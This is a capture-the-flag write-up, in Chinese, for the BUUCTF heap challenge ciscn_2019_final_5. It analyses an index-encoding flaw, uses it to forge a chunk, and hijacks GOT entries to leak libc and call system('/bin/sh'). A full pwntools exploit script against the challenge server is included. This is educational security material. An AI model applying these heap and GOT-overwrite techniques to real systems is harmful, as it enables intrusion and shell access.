BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)

目录

    • 题目分析
    • 漏洞分析
    • 漏洞利用
    • Exp

题目分析

例行安全检查
BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)_第1张图片
没有PIE,方面调试
partial relro意味着这题应该直接改GOT表就能做
菜单:
BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)_第2张图片
没有show功能,可以考虑吧某个函数(比如free的GOT)改为puts@plt
可以申请17个chunk,编号为0-16
BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)_第3张图片
每次分配结束后会显示分配内存的低12bits
在这里插入图片描述
而本题中还有一个特殊的地方,就是content数组(0x6020e0)里面放的地址是按照顺序放入的,而不是编号为i的就放在content[i],所以地址的最低4个字节就用来存放编号了
BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)_第4张图片
在删除或者编辑的时候,就会依次遍历每个地址,对比index
BUUCTF-PWN ciscn_2019_final_5(临界条件错误,劫持GOT表项)_第5张图片

漏洞分析

如上所说,本题地址存放比较特别,但是如果index为16,并且原地址第五位为0,就会导致地址被修改
而我们第一次申请时候地址最低12bits一般为0x260,即0010 0110 0000,和16即0001 0000或,就变成了0010 0111 0000即为0x270,我们就可以在chunk0的content中伪造一个chunk头部,把它释放之后再申请我们就能利用它控制下一个chunk了

漏洞利用

  1. 添加一个note[0],编号为16,size为0x10,内容为p64(0)+p64(0x91),再添加一个note[1],编号为1,size为0xc0(这个大小正好可以包括住content和size数组)
  2. 释放note[0]和note[1],重新申请一个0x80大小的note[2],把note[1]头部size改为0x21,fd改为content数组0x6020e0
  3. 申请一个0xc0大小的note[3],再申请同样大小的note[4],填入free_got, puts_got+1和atoi_got-4,大小全部设为0x10
  4. 先把free_got改为puts@plt(edit 8——free@got&0xf=8,atoi@got&0xf=8,所以需要减4),然后delete(1)泄露puts地址
  5. edit 4把system地址写入,然后发送/bin/sh\x00即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 27223)
#r = process("./ciscn_2019_final_5/ciscn_2019_final_5")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
    gdb.attach(r, 
    ''' 
    b *0x400E93
    c
    ''')
elf = ELF("./ciscn_2019_final_5/ciscn_2019_final_5")
libc = ELF('./ciscn_2019_final_5/libc.so.6')
content = 0x6020e0
free_got=0x602018
puts_plt=0x400790
puts_got=0x602020
atoi_got=0x602078

def add(index, size, content):
	r.recvuntil("your choice: ")
	r.sendline('1')
	r.recvuntil("index: ")
	r.sendline(str(index))
	r.recvuntil("size: ")
	r.sendline(str(size))
	r.recvuntil("content: ")
	r.send(content)

def delete(index):
	r.recvuntil("your choice: ")
	r.sendline('2')
	r.recvuntil("index: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil("your choice: ")
	r.sendline('3')
	r.recvuntil("index: ")
	r.sendline(str(index))
	r.recvuntil("content: ")
	r.send(content)

add(16,0x10,p64(0)+p64(0x90))
add(1, 0xc0, 'aa\n')
delete(0)
delete(1)
add(2, 0x80, p64(0)+p64(0x21)+p64(content))
add(3, 0xc0, 'aaa\n')
add(4, 0xc0, p64(free_got)+p64(puts_got+1)+p64(atoi_got-4)+p64(0)*17+p32(0x10)*8)
edit(8,p64(puts_plt)*2)
delete(1)
puts = u64(r.recv(6).ljust(8, '\x00'))
success("puts:"+hex(puts))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
edit(4, p64(system)*2)
r.recvuntil("your choice: ")
r.sendline('/bin/sh\x00')
r.interactive()

你可能感兴趣的:(BUU-PWN)